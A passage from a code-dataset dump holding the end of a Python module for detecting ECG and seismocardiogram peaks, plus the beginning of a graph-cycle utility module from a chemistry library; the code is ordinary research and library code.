self.ST_start.data.append(self.S.data[index] + np.argmin(second[s_t_interval[ :int(0.15 * len(s_t_interval))]]))\r\n\r\n # Look at interval between st_start and t peak\r\n st_start_t_interval = range(self.ST_start.data[index], self.T.data[index])\r\n\r\n # Find end of S-T segment\r\n smoothed_first_peaks = find_peaks(smoothed_first[st_start_t_interval], distance = len(st_start_t_interval)/6)[0]\r\n \r\n if len(smoothed_first_peaks) > 1:\r\n st_end = int(smoothed_first_peaks[-2])\r\n elif len(smoothed_first_peaks) == 1:\r\n st_end = smoothed_first_peaks[0]\r\n else:\r\n st_end = ((self.T.data[index] - self.ST_start.data[index])/2) + self.ST_start.data[index]\r\n \r\n self.ST_end.data.append(self.ST_start.data[index] + st_end)\r\n\r\n else:\r\n self.ST_start.data.append(0)\r\n self.ST_end.data.append(0)\r\n\r\n def add_dT_peak(self, index, smoothed_first):\r\n # Do not calculate peaks if there is no next R peak\r\n if index != (len(self.R.data) - 1):\r\n # Look at interval between st_start and t peak\r\n st_start_t_interval = range(self.ST_start.data[index], self.T.data[index])\r\n\r\n # Locate T'max\r\n smoothed_first_peaks = find_peaks(smoothed_first[st_start_t_interval], distance = len(st_start_t_interval)/6)[0]\r\n self.dT.data.append(self.ST_start.data[index] + int(smoothed_first_peaks[-1]))\r\n\r\n else:\r\n self.dT.data.append(0)\r\n\r\n def add_ddT_peak(self, index, second):\r\n # Look at interval between S and T peak\r\n ddTmin_window = range(self.S.data[index], int(np.mean((self.T.data[index], self.R.data[index + 1])))) if index != (len(self.R.data) - 1) else range(self.S.data[index], len(second))\r\n\r\n # Locate T''min\r\n ddTmin_peak = np.argmin(second[ddTmin_window]) + self.S.data[index]\r\n \r\n # Look at interval between S and ddTmin peak\r\n ddTmax_window = range(self.S.data[index], ddTmin_peak)\r\n \r\n # Locate T''max\r\n ddTmax_peak = find_peaks(second[ddTmax_window]) # , distance = len(ddTmax_window)/6)[0][-1]\r\n\r\n # print(ddTmax_peak)\r\n # exit()\r\n plt.plot(second)\r\n # plt.scatter(self.S.data[index] + ddTmax_peak)\r\n plt.show()\r\n exit()\r\n \r\n print(self.S.data[index], ddTmax_peak)\r\n exit()\r\n self.ddT.data.append(self.S.data[index] + int(ddTmax_peak))\r\n\r\n def add_QM_peak(self, index, seis, qm_max_to_mean_ratio, qm_bound_indices):\r\n # Do not calculate peaks if there is no next or previous R peak\r\n if (index != 0) and (index != (len(self.R.data) - 1)) and (seis is not None):\r\n # Look at interval between Q and T Peak\r\n q_t_interval = range(self.Q.data[index], self.T.data[index])\r\n\r\n # Look for peaks at a certain height relative to the mean and max of signal\r\n q_t_interval_max_to_mean = np.max(seis[q_t_interval]) - np.mean(seis[q_t_interval])\r\n qm_seis_peaks_temp = find_peaks(seis[q_t_interval], \r\n height = (qm_max_to_mean_ratio * q_t_interval_max_to_mean) + np.mean(seis[q_t_interval]),\r\n distance = len(q_t_interval)/8)[0]\r\n\r\n # Check if a peak exist, if not drop the height requirement\r\n if len(qm_seis_peaks_temp) == 0:\r\n qm_seis_peaks_temp = find_peaks(seis[q_t_interval], distance = len(q_t_interval)/8)[0]\r\n\r\n # Find distance from each peak to bounds set by Bob's labeled data\r\n distances = []\r\n for qm_seis_peak_temp in qm_seis_peaks_temp:\r\n distances.append(np.min([abs(qm_bound_index - qm_seis_peak_temp) for qm_bound_index in qm_bound_indices]))\r\n \r\n # Pick the closest\r\n self.QM.data.append(self.Q.data[index] + qm_seis_peaks_temp[np.argmin(distances)])\r\n\r\n else:\r\n self.QM.data.append(0)\r\n\r\n def add_QM_peak_v2(self, index, seis, qm_max_to_mean_ratio, time = None, alt_time = None, signal = None):\r\n \r\n if time is None:\r\n # Set window to look in\r\n q_t_interval = range(int(np.mean((self.R.data[index], self.S.data[index]))), self.T.data[index])\r\n\r\n # Look for peaks at a certain height relative to the mean and max of signal\r\n q_t_interval_max_to_mean = np.max(seis[q_t_interval]) - np.mean(seis[q_t_interval])\r\n qm_seis_peaks = find_peaks(seis[q_t_interval], \r\n height = (qm_max_to_mean_ratio * q_t_interval_max_to_mean) + np.mean(seis[q_t_interval]),\r\n distance = len(q_t_interval)/8)[0]\r\n\r\n # Save the First Peak\r\n self.QM.data.append(int(np.mean((self.R.data[index], self.S.data[index]))) + qm_seis_peaks[0])\r\n\r\n else:\r\n # Set window to look in\r\n q_t_interval = range((np.abs(alt_time - time[int(np.mean((self.R.data[index], self.S.data[index])))])).argmin(), (np.abs(alt_time - time[self.T.data[index]])).argmin())\r\n \r\n # Look for peaks at a certain height relative to the mean and max of signal\r\n q_t_interval_max_to_mean = np.max(seis[q_t_interval]) - np.mean(seis[q_t_interval])\r\n qm_seis_peaks = find_peaks(seis[q_t_interval], \r\n height = (qm_max_to_mean_ratio * q_t_interval_max_to_mean) + np.mean(seis[q_t_interval]),\r\n distance = len(q_t_interval)/8)[0]\r\n\r\n # Save the First Peak\r\n self.QM.data.append(q_t_interval[0] + qm_seis_peaks[0])\r\n\r\n # plt.plot(alt_time, seis)\r\n # plt.plot(time, signal)\r\n # plt.plot(alt_time[q_t_interval], seis[q_t_interval])\r\n # plt.scatter(alt_time[q_t_interval[0] + qm_seis_peaks[0]], seis[q_t_interval[0] + qm_seis_peaks[0]])\r\n # plt.show()\r\n # exit()\r\n\r\n def add_TM_peak(self, index, seis, tm_max_to_mean_ratio):\r\n # Do not calculate peaks if there is no next or previous R peak\r\n if (index != 0) and (index != (len(self.R.data) - 1)) and (seis is not None): \r\n # Look between current T peak and next R peak\r\n tm_seis_window = range(self.T.data[index], self.R.data[index + 1])\r\n\r\n # Find all defined peaks in the window with a certain height and width\r\n tm_seis_peaks_temp = find_peaks(seis[tm_seis_window], \r\n height = (tm_max_to_mean_ratio * (np.max(seis[tm_seis_window]) - np.mean(seis[tm_seis_window]))) + np.mean(seis[tm_seis_window]),\r\n distance = len(tm_seis_window)/8)[0]\r\n\r\n # Pick the first such peak\r\n self.TM.data.append(self.T.data[index] + tm_seis_peaks_temp[0])\r\n\r\n else:\r\n self.TM.data.append(0)\r\n\r\n def add_TM_peak_v2(self, index, seis, tm_max_to_mean_ratio, time = None, alt_time = None, signal = None, second = None, dosage = None):\r\n if time is None:\r\n tm_seis_window = range(self.T.data[index], self.R.data[index + 1])\r\n\r\n # Find all defined peaks in the window with a certain height and width\r\n tm_seis_peaks_temp = find_peaks(seis[tm_seis_window], \r\n height = (tm_max_to_mean_ratio * (np.max(seis[tm_seis_window]) - np.mean(seis[tm_seis_window]))) + np.mean(seis[tm_seis_window]),\r\n distance = len(tm_seis_window)/8)[0]\r\n\r\n # Pick the first such peak\r\n self.TM.data.append(self.T.data[index] + tm_seis_peaks_temp[0])\r\n\r\n else:\r\n # Set window to look in\r\n if dosage < 30:\r\n if index != (len(self.R.data) - 1):\r\n tm_second_window = range(self.T.data[index], self.R.data[index + 1])\r\n # Find all defined peaks in the window with a certain height and width\r\n tm_second_peaks = find_peaks(second[tm_second_window], \r\n distance = len(tm_second_window)/8)[0]\r\n\r\n tm_seis_window = range((np.abs(alt_time - time[self.T.data[index] + tm_second_peaks[0]])).argmin(), (np.abs(alt_time - time[self.R.data[index + 1]])).argmin())\r\n else:\r\n tm_second_window = range(self.T.data[index], len(second) - 1)\r\n\r\n # Find all defined peaks in the window with a certain height and width\r\n tm_second_peaks = find_peaks(second[tm_second_window], \r\n distance = len(tm_second_window)/8)[0]\r\n\r\n tm_seis_window = range((np.abs(alt_time - time[self.T.data[index] + tm_second_peaks[0]])).argmin(), len(seis) - 1)\r\n \r\n else:\r\n if index != (len(self.R.data) - 1):\r\n tm_seis_window = range((np.abs(alt_time - time[self.T.data[index]])).argmin(), (np.abs(alt_time - time[self.R.data[index + 1]])).argmin())\r\n\r\n else:\r\n tm_seis_window = range((np.abs(alt_time - time[self.T.data[index]])).argmin(), len(seis) - 1)\r\n \r\n # Find all defined peaks in the window with a certain height and width\r\n tm_seis_peaks = find_peaks(seis[tm_seis_window], \r\n height = (tm_max_to_mean_ratio * (np.max(seis[tm_seis_window]) - np.mean(seis[tm_seis_window]))) + np.mean(seis[tm_seis_window]),\r\n distance = len(tm_seis_window)/8)[0]\r\n\r\n # Pick the first such peak\r\n self.TM.data.append(tm_seis_window[0] + tm_seis_peaks[0])\r\n\r\n # Plotting for trouble shooting\r\n # plt.plot(alt_time, seis, label = \"seis\")\r\n # plt.plot(time, signal, label = \"signal\")\r\n # plt.plot(time, second, label = \"second\")\r\n # plt.scatter(time[tm_second_window[0] + tm_second_peaks], second[tm_second_window[0] + tm_second_peaks])\r\n # plt.plot(alt_time[tm_seis_window], seis[tm_seis_window], label = \"seis window\")\r\n # plt.scatter(alt_time[tm_seis_window[0] + tm_seis_peaks], seis[tm_seis_window[0] + tm_seis_peaks])\r\n # print(alt_time[tm_seis_window[0] + tm_seis_peaks])\r\n # plt.legend()\r\n # plt.show()\r\n\r\n def plot_segmentation_decisons(self, index, randomlist, time, seis, signal, qm_bounds, dosage, frequency):\r\n\r\n if (index != 0) and (index in randomlist):\r\n # Display Heartbeat\r\n print(\"Heartbeat Number: \", index)\r\n\r\n # Plot Time Signal\r\n plt.plot(time[self.R.data[index-1]:self.R.data[index+1]], signal[self.R.data[index-1]:self.R.data[index+1]], label='Signal')\r\n # plt.plot(range(self.R.data[index-1],self.R.data[index+1]), smoothed_first[self.R.data[index-1]:self.R.data[index+1]], label=\"Smoothed First Derivative\")\r\n # plt.plot(range(self.R.data[index-1],self.R.data[index+1]), smoothed_second[self.R.data[index-1]:self.R.data[index+1]], label='Smoothed Second Derivative')\r\n\r\n # Plot Seis1 Signal\r\n if seis is not None:\r\n plt.plot(time[self.R.data[index-1]: self.R.data[index+1]], seis[self.R.data[index-1]:self.R.data[index+1]], label='Seis-I')\r\n # plt.plot(range(self.R.data[index-1],self.R.data[index+1]), seis_first[self.R.data[index-1]:self.R.data[index+1]], label =\"Seis-I First Derivative\")\r\n # plt.plot(range(self.R.data[index-1],self.R.data[index+1]), seis_second[self.R.data[index-1]:self.R.data[index+1]], label =\"Seis-I Second Derivative\")\r\n\r\n # Plot S peak\r\n plt.scatter(time[self.S.data[index]], signal[self.S.data[index]], c = \"g\")\r\n plt.text(time[self.S.data[index]], signal[self.S.data[index]] + 0.2, \"S\", fontsize=9, horizontalalignment = 'center')\r\n\r\n # Plot S-T start\r\n # plt.axvline(self.ST_start.data[index])\r\n plt.scatter(time[self.ST_start.data[index]], signal[self.ST_start.data[index]], c = \"c\")\r\n plt.text(time[self.ST_start.data[index]], signal[self.ST_start.data[index]] + 0.2, \"S-T Start\", fontsize=9, horizontalalignment = 'center')\r\n\r\n # Plot S-T end\r\n # plt.axvline(self.ST_end.data[index])\r\n plt.scatter(time[self.ST_end.data[index]], signal[self.ST_end.data[index]], c = \"m\")\r\n plt.text(time[self.ST_end.data[index]], signal[self.ST_end.data[index]] + 0.2, \"S-T End\", fontsize=9, horizontalalignment = 'center')\r\n \r\n # Plot T''max\r\n # plt.axvline(self.ddT.data[index])\r\n plt.scatter(time[self.ddT.data[index]], signal[self.ddT.data[index]], c = \"r\")\r\n plt.text(time[self.ddT.data[index]], signal[self.ddT.data[index]] + 0.2, \"T''max\", fontsize=9, horizontalalignment = 'center')\r\n\r\n # Plot Q-M and T-M Seis I\r\n if seis is not None:\r\n # Plot Q-M Bounds\r\n plt.axvline(time[int(self.Q.data[index] + np.ceil(qm_bounds[dosage][0] * frequency))], c = \"g\")\r\n plt.axvline(time[int(self.Q.data[index] + np.ceil(qm_bounds[dosage][1] * frequency))], c = \"g\")\r\n\r\n # Plot Q-M\r\n # plt.axvline(q_peaks[i] + qm_seis_peak)\r\n plt.scatter(time[self.QM.data[index]], seis[self.QM.data[index]], c = \"g\")\r\n plt.text(time[self.QM.data[index]], seis[self.QM.data[index]] + 0.2, \"Q-M-Seis I\", fontsize=9, horizontalalignment = 'center')\r\n\r\n # Plot T-M\r\n # plt.axvline(t_peaks[i] + tm_seis_peak)\r\n plt.scatter(time[self.TM.data[index]], seis[self.TM.data[index]], c = \"g\")\r\n plt.text(time[self.TM.data[index]], seis[self.TM.data[index]] + 0.2, \"T-M-Seis I\", fontsize=9, horizontalalignment = 'center')\r\n\r\n plt.legend(loc = 'upper left')\r\n plt.show()\r\n\r\n def plot(self, time, signal, first = None, second = None, seis = None, alt_time = None):\r\n\r\n _, ax1 = plt.subplots()\r\n\r\n # Plot Signal\r\n ax1.plot(time, signal, '--', color='b', label = \"Signal\", linewidth = 0.75)\r\n # # ax1.plot(time, 0.8 * first, '--', color='r', label = \"1st\", linewidth = 0.5)\r\n # ax1.plot(time, second, '--', color='r', label = \"2nd\", linewidth = 0.5)\r\n ax1.set_ylim(min(signal) - abs(0.2*min(signal)), max(signal) + abs(0.2*max(signal)))\r\n\r\n # Plot Sies1\r\n if seis is not None:\r\n ax1.plot(alt_time, seis, color='r', linewidth = 0.5, label = \"Seis-I\")\r\n\r\n # print(\"ddQ\\t\", time[self.ddQ.data])\r\n # print(\"QM\\t\", alt_time[self.QM.data])\r\n # print(\"ddT\\t\", time[self.ddT.data])\r\n # print(\"TM\\t\", alt_time[self.TM.data])\r\n for i in range(len(self.R.data)):\r\n # # R Peaks\r\n ax1.scatter(time[self.R.data[i]], signal[self.R.data[i]], c='red', marker = \"D\")\r\n ax1.text(time[self.R.data[i]], 0.02 + signal[self.R.data[i]], \"R\", fontsize=9)\r\n\r\n # Q Peaks\r\n ax1.scatter(time[self.Q.data[i]], signal[self.Q.data[i]], c='green', marker = \"D\")\r\n ax1.text(time[self.Q.data[i]], 0.02 + signal[self.Q.data[i]], \"Q\", fontsize=9)\r\n\r\n # ddQ Peaks\r\n # ax1.scatter(time[self.ddQ.data[i]], second[self.ddQ.data[i]], c='orange', marker = \"D\")\r\n # ax1.text(time[self.ddQ.data[i]], 0.02 + second[self.ddQ.data[i]], \"ddQ\", fontsize=9)\r\n\r\n # # P Peaks\r\n ax1.scatter(time[self.P.data[i]], signal[self.P.data[i]], c='blue', marker = \"D\")\r\n ax1.text(time[self.P.data[i]], 0.02 + signal[self.P.data[i]], \"P\", fontsize=9)\r\n\r\n # # S Peaks\r\n ax1.scatter(time[self.S.data[i]], signal[self.S.data[i]], c='yellow', marker = \"D\")\r\n ax1.text(time[self.S.data[i]], 0.02 + signal[self.S.data[i]], \"S\", fontsize=9)\r\n\r\n # T Peaks\r\n ax1.scatter(time[self.T.data[i]], signal[self.T.data[i]], c='magenta', marker = \"D\")\r\n ax1.text(time[self.T.data[i]], 0.02 + signal[self.T.data[i]], \"T\", fontsize=9)\r\n\r\n # # ST Start Peaks\r\n # ax1.scatter(time[self.ST_start.data[i]], signal[self.ST_start.data[i]], c='k', marker = \"D\")\r\n # ax1.text(time[self.ST_start.data[i]], 0.02 + signal[self.ST_start.data[i]], \"S-T Start\", fontsize=9)\r\n\r\n # # T'max Peaks\r\n # ax1.scatter(time[self.dT.data[i]], signal[self.dT.data[i]], c='cyan', marker = \"D\")\r\n # ax1.text(time[self.dT.data[i]], 0.02 + signal[self.dT.data[i]], \"T'max\", fontsize=9)\r\n\r\n # # ddT Peaks\r\n # ax1.scatter(time[self.ddT.data[i]], second[self.ddT.data[i]], c='cyan', marker = \"D\")\r\n # ax1.text(time[self.ddT.data[i]], 0.02 + second[self.ddT.data[i]], \"T'max\", fontsize=9)\r\n\r\n # # Plot Seismocardiogram\r\n if seis is not None: \r\n # Q-M\r\n ax1.scatter(alt_time[self.QM.data[i]], seis[self.QM.data[i]], c='y', marker = \"D\")\r\n ax1.text(alt_time[self.QM.data[i]], 0.02 + seis[self.QM.data[i]], \"Q-M-Seis I\", fontsize=9)\r\n\r\n # T-M\r\n ax1.scatter(alt_time[self.TM.data[i]], seis[self.TM.data[i]], c='y', marker = \"D\")\r\n ax1.text(alt_time[self.TM.data[i]], 0.02 + seis[self.TM.data[i]], \"T-M-Seis I\", fontsize=9)\r\n\r\n ax1.legend(loc = 'upper left')\r\n plt.show()\r\n\r\n def save(self, filename):\r\n with open(filename + '.pkl', 'wb') as output:\r\n pickle.dump(self, output, pickle.HIGHEST_PROTOCOL)\r\n\r\n def load(self, filename):\r\n with open(filename + '.pkl', 'rb') as input:\r\n peaks = pickle.load(input)\r\n\r\n # Load Data\r\n self.time = peaks.time\r\n self.signal = peaks.signal\r\n\r\n self.seis1 = peaks.seis1\r\n self.seis2 = peaks.seis2\r\n self.seis = peaks.seis1\r\n \r\n self.phono1 = peaks.phono1\r\n self.phono2 = peaks.phono2\r\n self.phono = peaks.phono\r\n \r\n self.P = peaks.P\r\n self.Q = peaks.Q\r\n self.R = peaks.R\r\n self.S = peaks.S\r\n self.T = peaks.T\r\n\r\n self.ST_start = peaks.ST_start\r\n self.ST_end = peaks.ST_end\r\n\r\n self.ddT = peaks.dT\r\n self.ddT = peaks.ddT\r\n\r\n self.QM = peaks.QM\r\n self.TM = peaks.TM \r\n\r\n self.get_inital_statistics()\r\n\r\n def get_inital_statistics(self):\r\n # Get stats \r\n self.P._get_inital_statistics()\r\n self.Q._get_inital_statistics()\r\n self.R._get_inital_statistics()\r\n self.S._get_inital_statistics()\r\n self.T._get_inital_statistics()\r\n\r\n self.ST_start._get_inital_statistics()\r\n self.ST_end._get_inital_statistics()\r\n\r\n self.ddT._get_inital_statistics()\r\n\r\n self.QM._get_inital_statistics()\r\n self.TM._get_inital_statistics()\r\n\r\n","repo_name":"naddeok96/HeartBreaker","sub_path":"peaks.py","file_name":"peaks.py","file_ext":"py","file_size_in_byte":30687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29290889038","text":"\"\"\"This module contains some graph utils that are used in the chemenv package.\"\"\"\n\nfrom __future__ import annotations\n\nimport itertools\nimport operator\n\nimport networkx as nx\nimport numpy as np\nfrom monty.json import MSONable\n\n__author__ = \"waroquiers\"\n\n\ndef get_delta(node1, node2, edge_data):\n \"\"\"\n Get the delta.\n :param node1:\n :param node2:\n :param edge_data:\n \"\"\"\n if node1.isite == edge_data[\"start\"] and node2.isite == edge_data[\"end\"]:\n return np.array(edge_data[\"delta\"], dtype=int)\n if node2.isite == edge_data[\"start\"] and node1.isite == edge_data[\"end\"]:\n return -np.array(edge_data[\"delta\"], dtype=int)\n raise ValueError(\"Trying to find a delta between two nodes with an edge that seems not to link these nodes.\")\n\n\ndef get_all_simple_paths_edges(graph, source, target, cutoff=None, data=True):\n \"\"\"\n Get all the simple path and edges.\n :param graph:\n :param source:\n :param target:\n :param cutoff:\n :param data:\n \"\"\"\n edge_paths = []\n if not graph.is_multigraph():\n for path in nx.all_simple_paths(graph, source, target, cutoff=cutoff):\n edge_paths.append([(path[ii], path[ii + 1]) for ii in range(len(path) - 1)])\n return edge_paths\n\n node_paths = []\n for path in nx.all_simple_paths(graph, source, target, cutoff=cutoff):\n exists = False\n for path2 in node_paths:\n if len(path2) == len(path) and np.all(path == path2):\n exists = True\n break\n if exists:\n continue\n node_paths.append(path)\n current_edge_paths = [[]]\n for node1, node2 in [(node1, path[inode1 + 1]) for inode1, node1 in enumerate(path[:-1])]:\n new_edge_paths = []\n for key, edge_data in graph[node1][node2].items():\n for tmp_edge_path in current_edge_paths:\n if data:\n new_path = list(tmp_edge_path)\n new_path.append((node1, node2, key, edge_data))\n new_edge_paths.append(new_path)\n else:\n new_path = list(tmp_edge_path)\n new_path.append((node1, node2, key))\n new_edge_paths.append(new_path)\n current_edge_paths = new_edge_paths\n edge_paths.extend(current_edge_paths)\n return edge_paths\n\n\ndef _c2index_isreverse(c1, c2):\n \"\"\"\n Private helper function to get the index c2_0_index of the first node of cycle c1\n in cycle c2 and whether the cycle c2 should be reversed or not.\n\n Returns None if the first node of cycle c1 is not found in cycle c2.\n The reverse value depends on the index c2_1_index of the second node of cycle c1 in\n cycle c2 : if it is *just after* the c2_0_index, reverse is False, if it is\n *just before* the c2_0_index, reverse is True, otherwise the function returns None).\n \"\"\"\n c1_0 = c1.nodes[0]\n c1_1 = c1.nodes[1]\n if c1_0 not in c2.nodes:\n return None, None, \"First node of cycle c1 not found in cycle c2.\"\n if c1_1 not in c2.nodes:\n return None, None, \"Second node of cycle c1 not found in cycle c2.\"\n c2_0_index = c2.nodes.index(c1_0)\n c2_1_index = c2.nodes.index(c1_1)\n if c2_0_index == 0:\n if c2_1_index == 1:\n reverse = False\n elif c2_1_index == len(c2.nodes) - 1:\n reverse = True\n else:\n msg = (\n \"Second node of cycle c1 is not second or last in cycle c2 \"\n \"(first node of cycle c1 is first in cycle c2).\"\n )\n return None, None, msg\n elif c2_0_index == len(c2.nodes) - 1:\n if c2_1_index == 0:\n reverse = False\n elif c2_1_index == c2_0_index - 1:\n reverse = True\n else:\n msg = (\n \"Second node of cycle c1 is not first or before last in cycle c2 \"\n \"(first node of cycle c1 is last in cycle c2).\"\n )\n return None, None, msg\n elif c2_1_index == c2_0_index + 1:\n reverse = False\n elif c2_1_index == c2_0_index - 1:\n reverse = True\n else:\n msg = (\n \"Second node of cycle c1 in cycle c2 is not just after or \"\n \"just before first node of cycle c1 in cycle c2.\"\n )\n return None, None, msg\n return c2_0_index, reverse, \"\"\n\n\nclass SimpleGraphCycle(MSONable):\n \"\"\"\n Class used to describe a cycle in a simple graph (graph without multiple edges).\n\n Note that the convention used here is the networkx convention for which simple graphs allow\n to have self-loops in a simple graph.\n No simple graph cycle with two nodes is possible in a simple graph. The graph will not\n be validated if validate is set to False.\n By default, the \"ordered\" parameter is None, in which case the SimpleGraphCycle will be ordered.\n If the user explicitly sets ordered to False, the SimpleGraphCycle will not be ordered.\n \"\"\"\n\n def __init__(self, nodes, validate=True, ordered=None):\n \"\"\"\n :param nodes:\n :param validate:\n :param ordered:\n \"\"\"\n self.nodes = tuple(nodes)\n if validate:\n self.validate()\n if ordered is not None:\n self.ordered = ordered\n else:\n self.order()\n\n def _is_valid(self, check_strict_ordering=False):\n \"\"\"Check if a SimpleGraphCycle is valid.\n\n This method checks :\n - that there are no duplicate nodes,\n - that there are either 1 or more than 2 nodes\n\n Returns:\n bool: True if the SimpleGraphCycle is valid.\n \"\"\"\n if len(self.nodes) == 1:\n return True, \"\"\n if len(self.nodes) == 2:\n return False, \"Simple graph cycle with 2 nodes is not valid.\"\n if len(self.nodes) == 0:\n return False, \"Empty cycle is not valid.\"\n if len(self.nodes) != len(set(self.nodes)): # Should not have duplicate nodes\n return False, \"Duplicate nodes.\"\n if check_strict_ordering:\n try:\n sorted_nodes = sorted(self.nodes)\n except TypeError as te:\n msg = te.args[0]\n if \"'<' not supported between instances of\" in msg:\n return False, \"The nodes are not sortable.\"\n raise\n res = all(i < j for i, j in zip(sorted_nodes, sorted_nodes[1:]))\n if not res:\n return (\n False,\n \"The list of nodes in the cycle cannot be strictly ordered.\",\n )\n return True, \"\"\n\n def validate(self, check_strict_ordering=False):\n \"\"\"\n :param check_strict_ordering:\n \"\"\"\n is_valid, msg = self._is_valid(check_strict_ordering=check_strict_ordering)\n if not is_valid:\n raise ValueError(f\"SimpleGraphCycle is not valid : {msg}\")\n\n def order(self, raise_on_fail=True):\n \"\"\"Orders the SimpleGraphCycle.\n\n The ordering is performed such that the first node is the \"lowest\" one and the\n second node is the lowest one of the two neighbor nodes of the first node. If\n raise_on_fail is set to True a RuntimeError will be raised if the ordering fails.\n\n Args:\n raise_on_fail (bool): If set to True, will raise a RuntimeError if the ordering fails.\n \"\"\"\n # always validate the cycle if it needs to be ordered\n # also validates that the nodes can be strictly ordered\n try:\n self.validate(check_strict_ordering=True)\n except ValueError as ve:\n msg = ve.args[0]\n if \"SimpleGraphCycle is not valid :\" in msg and not raise_on_fail:\n self.ordered = False\n return\n raise\n\n if len(self.nodes) == 1:\n self.ordered = True\n return\n\n # Not sure whether the following should be checked here... if strict ordering was guaranteed by\n # the validate method, why would it be needed to have a unique class. One could have 2 subclasses of\n # the same parent class and things could be ok. To be checked what to do. (see also MultiGraphCycle)\n node_classes = {n.__class__ for n in self.nodes}\n if len(node_classes) > 1:\n if raise_on_fail:\n raise ValueError(\"Could not order simple graph cycle as the nodes are of different classes.\")\n self.ordered = False\n return\n\n min_index, min_node = min(enumerate(self.nodes), key=operator.itemgetter(1))\n reverse = self.nodes[(min_index - 1) % len(self.nodes)] < self.nodes[(min_index + 1) % len(self.nodes)]\n if reverse:\n self.nodes = self.nodes[min_index::-1] + self.nodes[:min_index:-1]\n else:\n self.nodes = self.nodes[min_index:] + self.nodes[:min_index]\n self.ordered = True\n\n def __hash__(self) -> int:\n return len(self.nodes)\n\n def __len__(self):\n return len(self.nodes)\n\n def __str__(self):\n out = [\"Simple cycle with nodes :\"]\n out.extend([str(node) for node in self.nodes])\n return \"\\n\".join(out)\n\n def __eq__(self, other: object) -> bool:\n if not isinstance(other, SimpleGraphCycle):\n return NotImplemented\n if not self.ordered or not other.ordered:\n raise RuntimeError(\"Simple cycles should be ordered in order to be compared.\")\n return self.nodes == other.nodes\n\n @classmethod\n def from_edges(cls, edges, edges_are_ordered=True):\n \"\"\"Constructs SimpleGraphCycle from a list edges.\n\n By default, the edges list is supposed to be ordered as it will be\n much faster to construct the cycle. If edges_are_ordered is set to\n False, the code will automatically try to find the corresponding edge\n order in the list.\n \"\"\"\n if edges_are_ordered:\n nodes = [e[0] for e in edges]\n if not all(e1e2[0][1] == e1e2[1][0] for e1e2 in zip(edges, edges[1:])) or edges[-1][1] != edges[0][0]:\n raise ValueError(\"Could not construct a cycle from edges.\")\n else:\n remaining_edges = list(edges)\n nodes = list(remaining_edges.pop())\n while remaining_edges:\n prev_node = nodes[-1]\n for ie, e in enumerate(remaining_edges):\n if prev_node == e[0]:\n remaining_edges.pop(ie)\n nodes.append(e[1])\n break\n if prev_node == e[1]:\n remaining_edges.pop(ie)\n nodes.append(e[0])\n break\n else: # did not find the next edge\n raise ValueError(\"Could not construct a cycle from edges.\")\n if nodes[0] != nodes[-1]:\n raise ValueError(\"Could not construct a cycle from edges.\")\n nodes.pop()\n return cls(nodes)\n\n def as_dict(self):\n \"\"\"MSONable dict\"\"\"\n dct = MSONable.as_dict(self)\n # Transforming tuple object to a list to allow BSON and MongoDB\n dct[\"nodes\"] = list(dct[\"nodes\"])\n return dct\n\n @classmethod\n def from_dict(cls, d, validate=False):\n \"\"\"\n Serialize from dict.\n :param d:\n :param validate:\n \"\"\"\n return cls(nodes=d[\"nodes\"], validate=validate, ordered=d[\"ordered\"])\n\n\nclass MultiGraphCycle(MSONable):\n \"\"\"Class used to describe a cycle in a multigraph.\n\n nodes are the nodes of the cycle and edge_indices are the indices of the edges in the cycle.\n The nth index in edge_indices corresponds to the edge index between the nth node in nodes and\n the (n+1)th node in nodes with the exception of the last one being the edge index between\n the last node in nodes and the first node in nodes\n\n Example: A cycle\n nodes: 1 - 3 - 4 - 0 - 2 - (1)\n edge_indices: 0 . 1 . 0 . 2 . 0 . (0)\n \"\"\"\n\n def __init__(self, nodes, edge_indices, validate=True, ordered=None):\n \"\"\"\n :param nodes:\n :param edge_indices:\n :param validate:\n :param ordered:\n \"\"\"\n self.nodes = tuple(nodes)\n self.edge_indices = tuple(edge_indices)\n if validate:\n self.validate()\n if ordered is not None:\n self.ordered = ordered\n else:\n self.order()\n self.edge_deltas = self.per = None\n\n def _is_valid(self, check_strict_ordering=False):\n \"\"\"Check if a MultiGraphCycle is valid.\n\n This method checks that:\n 1. there are no duplicate nodes,\n 2. there are either 1 or more than 2 nodes\n\n Returns:\n bool: True if the SimpleGraphCycle is valid.\n \"\"\"\n if len(self.nodes) != len(self.edge_indices): # Should have the same number of nodes and edges\n return False, \"Number of nodes different from number of edge indices.\"\n if len(self.nodes) == 0:\n return False, \"Empty cycle is not valid.\"\n if len(self.nodes) != len(set(self.nodes)): # Should not have duplicate nodes\n return False, \"Duplicate nodes.\"\n # Cycles with two nodes cannot use the same edge for the cycle\n if len(self.nodes) == 2 and self.edge_indices[0] == self.edge_indices[1]:\n return (\n False,\n \"Cycles with two nodes cannot use the same edge for the cycle.\",\n )\n if check_strict_ordering:\n try:\n sorted_nodes = sorted(self.nodes)\n except TypeError as te:\n msg = te.args[0]\n if \"'<' not supported between instances of\" in msg:\n return False, \"The nodes are not sortable.\"\n raise\n res = all(i < j for i, j in zip(sorted_nodes, sorted_nodes[1:]))\n if not res:\n return (\n False,\n \"The list of nodes in the cycle cannot be strictly ordered.\",\n )\n return True, \"\"\n\n def validate(self, check_strict_ordering=False):\n \"\"\"\n :param check_strict_ordering:\n \"\"\"\n is_valid, msg = self._is_valid(check_strict_ordering=check_strict_ordering)\n if not is_valid:\n raise ValueError(f\"MultiGraphCycle is not valid : {msg}\")\n\n def order(self, raise_on_fail=True):\n \"\"\"Orders the SimpleGraphCycle.\n\n The ordering is performed such that the first node is the \"lowest\" one\n and the second node is the lowest one of the two neighbor nodes of the\n first node. If raise_on_fail is set to True a RuntimeError will be\n raised if the ordering fails.\n\n :param raise_on_fail: If set to True, will raise a RuntimeError if the ordering fails.\n \"\"\"\n # always validate the cycle if it needs to be ordered\n # also validates that the nodes can be strictly ordered\n try:\n self.validate(check_strict_ordering=True)\n except ValueError as ve:\n msg = ve.args[0]\n if \"MultiGraphCycle is not valid :\" in msg and not raise_on_fail:\n self.ordered = False\n return\n raise\n\n if len(self.nodes) == 1:\n self.ordered = True\n return\n\n # Not sure whether the following should be checked here... if strict ordering was guaranteed by\n # the validate method, why would it be needed to have a unique class. One could have 2 subclasses of\n # the same parent class and things could be ok. To be checked what to do. (see also SimpleGraphCycle)\n node_classes = {n.__class__ for n in self.nodes}\n if len(node_classes) > 1:\n if raise_on_fail:\n raise ValueError(\"Could not order simple graph cycle as the nodes are of different classes.\")\n self.ordered = False\n return\n\n min_index, min_node = min(enumerate(self.nodes), key=operator.itemgetter(1))\n\n # Special case when number of 